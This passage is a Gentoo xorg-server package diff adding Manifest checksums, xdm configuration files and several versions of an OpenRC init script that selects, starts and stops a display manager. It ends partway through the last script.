+DIST xorg-server-1.11.4.tar.bz2 4900810 RMD160 26eafdda9e7c9e21e606281dacc13e67d0144eef SHA1 adb5b0bf95a943385c08f826a647871aa1d8d6eb SHA256 3e2935bc400612df58d5b5e6840829e2c63af02c2e7d2893092500358a4366fc
+DIST xorg-server-1.12.0.tar.bz2 5568563 RMD160 04fae4bc77b5dc3ccdca1a0ba10c5c4069b6df7d SHA1 5f48db767f71e9f58ded6ff356f3b8340820e524 SHA256 280a14c5de8697a4aab18dca85429671286e69e5ada0c1535f03666e56f07799
+DIST xorg-server-1.12.2.tar.bz2 5431841 RMD160 47530836ebe44e8823848fb87ef979c7dd805f66 SHA1 2edb151d39571dc0fcdedc299ea0a77fe6bfc076 SHA256 ca9f9e22f432f1ccbf8e7a21e746e02be4081a0f3975eb7cff276483193cc5f5
+DIST xorg-server-1.12.3.tar.bz2 5478028 RMD160 06d0ab8c6be2d0fc0d8510a5cdaf718ae39a72d6 SHA1 f3f3d59f3c5e15459152987ffc644f06a0d1374f SHA256 3654b613393734ce0c7c23e81ca4ceb6e8afefb5f0649233ffd105c1220544fe
+DIST xorg-server-1.12.4.tar.bz2 5444761 RMD160 4907b5dc42efd6b3fb6bf9d64f1441080a6a6983 SHA1 6d616874f9c7677bda08dc073c03f83e78fbc585 SHA256 8ac07c35306ba3fb3c0972722dd4e919303039eca1d40ac7862560e0b2c94cf7
+EBUILD xorg-server-1.10.4.ebuild 7692 RMD160 9e4e33b87ecd97ef80fa4e34e0cdea69a514f1a1 SHA1 442b86809408421820c2f1e2fcc6fb8c91b0f59b SHA256 3dc3d1344446db9c653db3ee21f43160179ed8ab8eb1e4b9e70bdfec575995a0
+EBUILD xorg-server-1.11.3.ebuild 7387 RMD160 48e996aad267c77625c680bfadbd8bc040105994 SHA1 c1252ca932fe2601dbd1a42be9faa7e94f32a036 SHA256 95e14bd41e9a1b8a0951f589ca43615fc8d61a4c24f05845e80c43be356d8e57
+EBUILD xorg-server-1.11.4-r1.ebuild 7834 RMD160 9e200467460bd6f9f7f25b1ea1ca5d3e36546fba SHA1 43965b03a9b79232f543e811a64bb70f9e70a11f SHA256 dfaf2b67a4ae65ea421081b2ad1a3e31bf25bde77ed644019dd58dc09990267c
+EBUILD xorg-server-1.12.0-r1.ebuild 7432 RMD160 703a1ca39b4869b4d6d745f8214f2afe5f5c6b49 SHA1 a5f5b618b130947105ab80fa4cda426ef61d347f SHA256 9e4fbd086d127172fe248bf1c5fb0e22d65bb6d091f5114658173d775d7381ca
+EBUILD xorg-server-1.12.2.ebuild 7417 RMD160 cfeb8ef26694eebcde72a7f1310f696cec644714 SHA1 131e26099e05735a572e227a1a4441a3c5de3cda SHA256 065da71a9b0ec004dc73d6eff1729d4f723e7bc83197be2578bd61935d704d69
+EBUILD xorg-server-1.12.3.ebuild 7380 RMD160 9267a8bc1c8bacd9413e0c3fcc9fa249076f5ca4 SHA1 51f327ef6571266c6397221eaa8ff08e56a066c5 SHA256 d0f670365989ea2eb38cc244d2430e1ccabd177ea12d08d296af1e98c07d16e2
+EBUILD xorg-server-1.12.4.ebuild 7380 RMD160 9267a8bc1c8bacd9413e0c3fcc9fa249076f5ca4 SHA1 51f327ef6571266c6397221eaa8ff08e56a066c5 SHA256 d0f670365989ea2eb38cc244d2430e1ccabd177ea12d08d296af1e98c07d16e2
+MISC ChangeLog 116761 RMD160 c20c71b1b379e79052c551b0369826a617eec4f8 SHA1 8e6d350ca7139a00b0182efa129274f8fd97e8a7 SHA256 7c727030633fe244e12f75560976ffeefa09c9f554f89974780d413f1ac4cad5
+MISC metadata.xml 499 RMD160 13985f2e8ee45fa43d4689f4c09ae4d3c8fe7e59 SHA1 b84c2d3e23c3eae539fa1c37aa0e0345083bedea SHA256 f2f68c9cdaf48810cc035fb5b3bb3467569be2aabbe5eb74405b75427d5193ba
diff --git a/x11-base/xorg-server/files/xdm-setup.initd-1 b/x11-base/xorg-server/files/xdm-setup.initd-1
new file mode 100644
index 00000000..365664e6
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm-setup.initd-1
@@ -0,0 +1,14 @@
+#!/sbin/runscript
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm-setup.initd-1,v 1.1 2010/04/13 10:07:39 scarabeus Exp $
+
+depend() {
+	need localmount
+}
+
+start() {
+	if get_bootparam "nox" ; then
+		touch /etc/.noxdm
+	fi
+}
diff --git a/x11-base/xorg-server/files/xdm.confd-3 b/x11-base/xorg-server/files/xdm.confd-3
new file mode 100644
index 00000000..9c560bb1
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.confd-3
@@ -0,0 +1,16 @@
+# We always try and start X on a static VT. The various DMs normally default
+# to using VT7. If you wish to use the xdm init script, then you should ensure
+# that the VT checked is the same VT your DM wants to use. We do this check to
+# ensure that you haven't accidentally configured something to run on the VT
+# in your /etc/inittab file so that you don't get a dead keyboard.
+CHECKVT=7
+
+# What display manager do you use ?  [ xdm | gdm | kdm | kdm-4.3 | gpe | entrance ]
+# NOTE: If this is set in /etc/rc.conf, that setting will override this one.
+#
+# KDE-specific note:
+# - If you are using kdeprefix go with "kdm-4.Y", e.g. "kdm-4.3".
+#     You can find possible versions by looking at the directories in /usr/kde/.
+# - Else, if you are using KDE 3 enter "kdm-3.5"
+# - Else, if you are using KDE 4 enter "kdm" without a version
+DISPLAYMANAGER="xdm"
\ No newline at end of file
diff --git a/x11-base/xorg-server/files/xdm.confd-4 b/x11-base/xorg-server/files/xdm.confd-4
new file mode 100644
index 00000000..de0a7cbf
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.confd-4
@@ -0,0 +1,10 @@
+# We always try and start X on a static VT. The various DMs normally default
+# to using VT7. If you wish to use the xdm init script, then you should ensure
+# that the VT checked is the same VT your DM wants to use. We do this check to
+# ensure that you haven't accidentally configured something to run on the VT
+# in your /etc/inittab file so that you don't get a dead keyboard.
+CHECKVT=7
+
+# What display manager do you use ?  [ xdm | gdm | kdm | lxdm | gpe | entrance ]
+# NOTE: If this is set in /etc/rc.conf, that setting will override this one.
+DISPLAYMANAGER="xdm"
diff --git a/x11-base/xorg-server/files/xdm.initd b/x11-base/xorg-server/files/xdm.initd
new file mode 100755
index 00000000..988becf6
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd
@@ -0,0 +1,209 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd,v 1.1 2010/04/13 10:07:39 scarabeus Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota
+	before alsasound
+
+	# Start before X
+	use consolekit xfs
+	@HALD_DEPEND@
+}
+
+setup_dm() {
+	local MY_XDM="$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')"
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH="${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")"
+
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE="$(which kdm)"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		kdm-*)
+			EXE="/usr/kde/${MY_XDM#kdm-}/bin/kdm"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(which ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ "${EXE}" = "" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE= NAME= PIDFILE=
+	setup_dm
+
+	if [ -f /etc/.noxdm ] ; then
+		einfo "Skipping ${EXE}, /etc/.noxdm found"
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ] ; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>/dev/null
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local retval=0
+	local curvt=
+	if [ -t 0 ] ; then
+		if type fgconsole >/dev/null 2>/dev/null ; then
+			curvt="$(fgconsole 2>/dev/null)"
+		else
+			curvt="$(tty)"
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt="${curvt#/dev/ttyv*}" ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe="$(get_options "service")"
+	local myname="$(get_options "name")"
+	local mypidfile="$(get_options "pidfile")"
+	local myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}" ; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=$?
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ] ; then
+		if type chvt >/dev/null 2>/dev/null ; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((${curvt} + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xdm.initd-3 b/x11-base/xorg-server/files/xdm.initd-3
new file mode 100644
index 00000000..7e2da1a7
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd-3
@@ -0,0 +1,218 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd-3,v 1.3 2011/11/01 22:53:09 hwoarang Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota
+	before alsasound
+
+	# Start before X
+	use consolekit xfs
+}
+
+setup_dm() {
+	local MY_XDM
+	
+	MY_XDM=$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH=${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")
+
+	NAME=
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE="$(which kdm)"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		kdm-*)
+			EXE="/usr/kde/${MY_XDM#kdm-}/bin/kdm"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		lightdm)
+			EXE=/usr/sbin/lightdm
+			PIDFILE=/var/run/lightdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(which ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ -z "${EXE}" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE NAME PIDFILE
+	setup_dm
+
+	if [ -f /etc/.noxdm ]; then
+		einfo "Skipping ${EXE##*/}, /etc/.noxdm found or \"nox\" bootparam passed."
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ]; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>&1
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local curvt retval
+
+	retval=0
+	if [ -t 0 ]; then
+		if type fgconsole >/dev/null 2>&1; then
+			curvt=$(fgconsole 2>/dev/null)
+		else
+			curvt=$(tty)
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt=${curvt#/dev/ttyv} ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe myname mypidfile myservice
+	myexe=$(get_options "service")
+	myname=$(get_options "name")
+	mypidfile=$(get_options "pidfile")
+	myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}"; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=${?}
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ]; then
+		if type chvt >/dev/null 2>&1; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((curvt + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xdm.initd-4 b/x11-base/xorg-server/files/xdm.initd-4
new file mode 100644
index 00000000..d20265e2
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd-4
@@ -0,0 +1,220 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd-4,v 1.1 2011/11/16 21:49:59 chithanh Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	# (#390609) gdm-3 will fail when dbus is not running
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota
+	after dbus
+	before alsasound
+
+	# Start before X
+	use consolekit xfs
+}
+
+setup_dm() {
+	local MY_XDM
+	
+	MY_XDM=$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH=${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")
+
+	NAME=
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE="$(which kdm)"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		kdm-*)
+			EXE="/usr/kde/${MY_XDM#kdm-}/bin/kdm"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		lightdm)
+			EXE=/usr/sbin/lightdm
+			PIDFILE=/var/run/lightdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(which ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ -z "${EXE}" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE NAME PIDFILE
+	setup_dm
+
+	if [ -f /etc/.noxdm ]; then
+		einfo "Skipping ${EXE##*/}, /etc/.noxdm found or \"nox\" bootparam passed."
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ]; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>&1
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local curvt retval
+
+	retval=0
+	if [ -t 0 ]; then
+		if type fgconsole >/dev/null 2>&1; then
+			curvt=$(fgconsole 2>/dev/null)
+		else
+			curvt=$(tty)
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt=${curvt#/dev/ttyv} ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe myname mypidfile myservice
+	myexe=$(get_options "service")
+	myname=$(get_options "name")
+	mypidfile=$(get_options "pidfile")
+	myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}"; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=${?}
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ]; then
+		if type chvt >/dev/null 2>&1; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((curvt + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xdm.initd-5 b/x11-base/xorg-server/files/xdm.initd-5
new file mode 100644
index 00000000..c152e40e
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd-5
@@ -0,0 +1,219 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd-5,v 1.1 2011/11/24 13:09:40 chithanh Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	# (#390609) gdm-3 will fail when dbus is not running
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota
+	before alsasound
+
+	# Start before X
+	use consolekit dbus xfs
+}
+
+setup_dm() {
+	local MY_XDM
+	
+	MY_XDM=$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH=${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")
+
+	NAME=
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE="$(which kdm)"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		kdm-*)
+			EXE="/usr/kde/${MY_XDM#kdm-}/bin/kdm"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		lightdm)
+			EXE=/usr/sbin/lightdm
+			PIDFILE=/var/run/lightdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(which ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ -z "${EXE}" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
